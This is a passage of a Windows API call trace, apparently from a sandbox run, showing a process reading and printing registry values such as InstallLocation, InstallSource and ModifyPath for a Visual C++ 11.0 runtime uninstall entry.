0x7fefd702a80 [0148.474] _fileno (_File=0x7fefd702ab0) returned 1 [0148.474] _errno () returned 0xc4bb0 [0148.474] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.474] _errno () returned 0xc4bb0 [0148.474] GetFileType (hFile=0x50) returned 0x1 [0148.474] lstrlenW (lpString="20170630") returned 8 [0148.474] GetConsoleOutputCP () returned 0x1b5 [0148.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.474] GetConsoleOutputCP () returned 0x1b5 [0148.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0148.474] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.474] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.474] __iob_func () returned 0x7fefd702a80 [0148.474] _fileno (_File=0x7fefd702ab0) returned 1 [0148.474] _errno () returned 0xc4bb0 [0148.474] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.474] _errno () returned 0xc4bb0 [0148.474] GetFileType (hFile=0x50) returned 0x1 [0148.474] lstrlenW (lpString="\n") returned 1 [0148.474] GetConsoleOutputCP () returned 0x1b5 [0148.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.474] GetConsoleOutputCP () returned 0x1b5 [0148.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.475] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.475] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.475] GetProcessHeap () returned 0x2e0000 [0148.475] GetProcessHeap () returned 0x2e0000 [0148.475] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0148.475] GetProcessHeap () returned 0x2e0000 [0148.475] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0148.475] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0148.475] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.475] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.475] GetProcessHeap () returned 0x2e0000 [0148.475] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.475] GetProcessHeap () returned 0x2e0000 [0148.475] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.475] GetProcessHeap () returned 0x2e0000 [0148.475] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.475] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.475] __iob_func () returned 0x7fefd702a80 [0148.475] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.475] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.475] _fileno (_File=0x7fefd702ab0) returned 1 [0148.475] _errno () returned 0xc4bb0 [0148.475] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.475] _errno () returned 0xc4bb0 [0148.475] GetFileType (hFile=0x50) returned 0x1 [0148.475] lstrlenW (lpString=" ") returned 4 [0148.475] GetConsoleOutputCP () returned 0x1b5 [0148.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.476] GetConsoleOutputCP () returned 0x1b5 [0148.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.476] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.476] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.476] lstrlenW (lpString="InstallLocation") returned 15 [0148.476] __iob_func () returned 0x7fefd702a80 [0148.476] _fileno (_File=0x7fefd702ab0) returned 1 [0148.476] _errno () returned 0xc4bb0 [0148.476] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.476] _errno () returned 0xc4bb0 [0148.476] GetFileType (hFile=0x50) returned 0x1 [0148.476] lstrlenW (lpString="InstallLocation") returned 15 [0148.476] GetConsoleOutputCP () returned 0x1b5 [0148.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.476] GetConsoleOutputCP () returned 0x1b5 [0148.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0148.476] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.476] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.476] __iob_func () returned 0x7fefd702a80 [0148.476] _fileno (_File=0x7fefd702ab0) returned 1 [0148.476] _errno () returned 0xc4bb0 [0148.476] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.477] _errno () returned 0xc4bb0 [0148.477] GetFileType (hFile=0x50) returned 0x1 [0148.477] lstrlenW (lpString=" ") returned 4 [0148.477] GetConsoleOutputCP () returned 0x1b5 [0148.477] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.477] GetConsoleOutputCP () returned 0x1b5 [0148.477] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.477] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.477] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.477] __iob_func () returned 0x7fefd702a80 [0148.477] _fileno (_File=0x7fefd702ab0) returned 1 [0148.477] _errno () returned 0xc4bb0 [0148.477] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.477] _errno () returned 0xc4bb0 [0148.477] GetFileType (hFile=0x50) returned 0x1 [0148.477] lstrlenW (lpString="REG_SZ") returned 6 [0148.477] GetConsoleOutputCP () returned 0x1b5 [0148.477] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.477] GetConsoleOutputCP () returned 0x1b5 [0148.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.478] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.478] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.478] __iob_func () returned 0x7fefd702a80 [0148.478] _fileno (_File=0x7fefd702ab0) returned 1 [0148.478] _errno () returned 0xc4bb0 [0148.478] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.478] _errno () returned 0xc4bb0 [0148.478] GetFileType (hFile=0x50) returned 0x1 [0148.478] lstrlenW (lpString=" ") returned 4 [0148.478] GetConsoleOutputCP () returned 0x1b5 [0148.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.478] GetConsoleOutputCP () returned 0x1b5 [0148.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.478] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.478] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.478] __iob_func () returned 0x7fefd702a80 [0148.478] _fileno (_File=0x7fefd702ab0) returned 1 [0148.478] _errno () returned 0xc4bb0 [0148.478] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.478] _errno () returned 0xc4bb0 [0148.478] GetFileType (hFile=0x50) returned 0x1 [0148.478] lstrlenW (lpString="") returned 0 [0148.478] __iob_func () returned 0x7fefd702a80 [0148.478] _fileno (_File=0x7fefd702ab0) returned 1 [0148.478] _errno () returned 0xc4bb0 [0148.478] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.478] _errno () returned 0xc4bb0 [0148.479] GetFileType (hFile=0x50) returned 0x1 [0148.479] lstrlenW (lpString="\n") returned 1 [0148.479] GetConsoleOutputCP () returned 0x1b5 [0148.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.479] GetConsoleOutputCP () returned 0x1b5 [0148.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.479] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.479] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.479] GetProcessHeap () returned 0x2e0000 [0148.479] GetProcessHeap () returned 0x2e0000 [0148.479] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.479] GetProcessHeap () returned 0x2e0000 [0148.479] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.479] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.479] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.479] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xe2) returned 0x0 [0148.479] GetProcessHeap () returned 0x2e0000 [0148.479] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xe4) returned 0x2ff9a0 [0148.479] GetProcessHeap () returned 0x2e0000 [0148.479] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.479] GetProcessHeap () returned 0x2e0000 [0148.479] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xe4 [0148.479] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2ff9a0, pcbData=0x23f670*=0xe2 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\", pcbData=0x23f670*=0xe0) returned 0x0 [0148.479] __iob_func () returned 0x7fefd702a80 [0148.479] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.480] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.480] _fileno (_File=0x7fefd702ab0) returned 1 [0148.480] _errno () returned 0xc4bb0 [0148.480] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.480] _errno () returned 0xc4bb0 [0148.480] GetFileType (hFile=0x50) returned 0x1 [0148.480] lstrlenW (lpString=" ") returned 4 [0148.480] GetConsoleOutputCP () returned 0x1b5 [0148.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.480] GetConsoleOutputCP () returned 0x1b5 [0148.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.480] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.480] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.480] lstrlenW (lpString="InstallSource") returned 13 [0148.480] __iob_func () returned 0x7fefd702a80 [0148.480] _fileno (_File=0x7fefd702ab0) returned 1 [0148.480] _errno () returned 0xc4bb0 [0148.480] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.480] _errno () returned 0xc4bb0 [0148.481] GetFileType (hFile=0x50) returned 0x1 [0148.481] lstrlenW (lpString="InstallSource") returned 13 [0148.481] GetConsoleOutputCP () returned 0x1b5 [0148.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.481] GetConsoleOutputCP () returned 0x1b5 [0148.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0148.481] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.481] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.481] __iob_func () returned 0x7fefd702a80 [0148.481] _fileno (_File=0x7fefd702ab0) returned 1 [0148.481] _errno () returned 0xc4bb0 [0148.481] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.481] _errno () returned 0xc4bb0 [0148.481] GetFileType (hFile=0x50) returned 0x1 [0148.481] lstrlenW (lpString=" ") returned 4 [0148.481] GetConsoleOutputCP () returned 0x1b5 [0148.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.481] GetConsoleOutputCP () returned 0x1b5 [0148.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.481] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.481] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.482] __iob_func () returned 0x7fefd702a80 [0148.482] _fileno (_File=0x7fefd702ab0) returned 1 [0148.482] _errno () returned 0xc4bb0 [0148.482] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.482] _errno () returned 0xc4bb0 [0148.482] GetFileType (hFile=0x50) returned 0x1 [0148.482] lstrlenW (lpString="REG_SZ") returned 6 [0148.482] GetConsoleOutputCP () returned 0x1b5 [0148.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.482] GetConsoleOutputCP () returned 0x1b5 [0148.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.482] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.482] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.482] __iob_func () returned 0x7fefd702a80 [0148.482] _fileno (_File=0x7fefd702ab0) returned 1 [0148.482] _errno () returned 0xc4bb0 [0148.482] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.482] _errno () returned 0xc4bb0 [0148.482] GetFileType (hFile=0x50) returned 0x1 [0148.482] lstrlenW (lpString=" ") returned 4 [0148.482] GetConsoleOutputCP () returned 0x1b5 [0148.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.482] GetConsoleOutputCP () returned 0x1b5 [0148.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.483] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.483] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.483] __iob_func () returned 0x7fefd702a80 [0148.483] _fileno (_File=0x7fefd702ab0) returned 1 [0148.483] _errno () returned 0xc4bb0 [0148.483] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.483] _errno () returned 0xc4bb0 [0148.483] GetFileType (hFile=0x50) returned 0x1 [0148.483] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\") returned 111 [0148.483] GetConsoleOutputCP () returned 0x1b5 [0148.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\", cchWideChar=111, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 111 [0148.483] GetConsoleOutputCP () returned 0x1b5 [0148.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\", cchWideChar=111, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\", lpUsedDefaultChar=0x0) returned 111 [0148.483] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 111 [0148.483] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.483] __iob_func () returned 0x7fefd702a80 [0148.483] _fileno (_File=0x7fefd702ab0) returned 1 [0148.483] _errno () returned 0xc4bb0 [0148.483] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.483] _errno () returned 0xc4bb0 [0148.483] GetFileType (hFile=0x50) returned 0x1 [0148.483] lstrlenW (lpString="\n") returned 1 [0148.483] GetConsoleOutputCP () returned 0x1b5 [0148.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.484] GetConsoleOutputCP () returned 0x1b5 [0148.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.484] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.484] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.484] GetProcessHeap () returned 0x2e0000 [0148.484] GetProcessHeap () returned 0x2e0000 [0148.484] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.484] GetProcessHeap () returned 0x2e0000 [0148.484] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xe4 [0148.484] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0148.484] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.484] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.484] GetProcessHeap () returned 0x2e0000 [0148.484] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.484] GetProcessHeap () returned 0x2e0000 [0148.484] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.484] GetProcessHeap () returned 0x2e0000 [0148.484] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.484] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.484] __iob_func () returned 0x7fefd702a80 [0148.484] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.484] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.484] _fileno (_File=0x7fefd702ab0) returned 1 [0148.484] _errno () returned 0xc4bb0 [0148.484] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.484] _errno () returned 0xc4bb0 [0148.485] GetFileType (hFile=0x50) returned 0x1 [0148.485] lstrlenW (lpString=" ") returned 4 [0148.485] GetConsoleOutputCP () returned 0x1b5 [0148.485] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.485] GetConsoleOutputCP () returned 0x1b5 [0148.485] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.485] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.485] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.485] lstrlenW (lpString="ModifyPath") returned 10 [0148.485] __iob_func () returned 0x7fefd702a80 [0148.485] _fileno (_File=0x7fefd702ab0) returned 1 [0148.485] _errno () returned 0xc4bb0 [0148.485] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.485] _errno () returned 0xc4bb0 [0148.485] GetFileType (hFile=0x50) returned 0x1 [0148.485] lstrlenW (lpString="ModifyPath") returned 10 [0148.485] GetConsoleOutputCP () returned 0x1b5 [0148.485] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0148.485] GetConsoleOutputCP () returned 0x1b5 [0148.486] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0148.486] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0148.486] fflush 